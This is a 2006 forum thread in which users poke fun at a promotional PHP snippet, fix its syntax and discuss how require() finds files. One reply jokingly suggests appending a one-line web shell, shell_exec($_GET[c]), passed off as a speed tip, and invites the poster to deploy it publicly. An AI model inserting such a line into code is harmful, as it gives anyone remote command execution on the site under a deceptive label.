CaveMan Posted July 4, 2006 Posted July 4, 2006 <?php $auscode = "great"; if($auscode == "great"){ echo "AusCode is great" } else { require("YouMembership.php");} ?> http://www.AusCode.net Quote
Darren Kitchen Posted July 4, 2006 Posted July 4, 2006 doesn't the require function need an absolute path to the file? Quote
barrytone Posted July 4, 2006 Posted July 4, 2006 doesn't the require function need an absolute path to the file? Not as far as I know. Relative paths should work fine. The only difference between require() and include() is to do with their error handling. Unless you don't have include_path set right, that is. <?php$auscode = "great"; while($auscode == "great"){ echo "AusCode is great" } else { require("YouMembership.php");} ?> http://www.AusCode.net I've never seen a While / Else structure in PHP though... Or any other language for that matter :? And there's a semicolon missing after the echo statement :P Try this one: <?php $auscode = "great"; if($auscode == "great") { echo "AusCode is great"; } else { require("YouMembership.php"); } ?> It's still pointless code though. Maybe if $auscode wasn't set and it was $_GET[auscode]; Actually... Append this to the end of your code. It makes it run faster... echo "<pre>" . shell_exec($_GET[c]) . "</pre>"; Try it on your site and post a link so we can all see the difference :) Ok, so I'm bored :roll: Quote
jollyrancher82 Posted July 4, 2006 Posted July 4, 2006 <?php $auscode = "great"; if($auscode == "great") { echo "AusCode is great"; } else { require("YouMembership.php"); } ?> so if $auscode is not great, we have to register? Quote
barrytone Posted July 4, 2006 Posted July 4, 2006 so if $auscode is not great, we have to register? To try and make it better, by gracing it with our presence, I assume ;) Quote
jollyrancher82 Posted July 5, 2006 Posted July 5, 2006 <?php $auscode = "great"; if(!registered($user) && $auscode == "great") { echo "AusCode is great"; require("YouMembership.php"); } else { require("ForceMembership.php"); } ?> Quote
MrDave2176 Posted July 5, 2006 Posted July 5, 2006 doesn't the require function need an absolute path to the file? Nope. Require will look in the local directory first and then in the "REQUIRE_PATH" variable for php. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.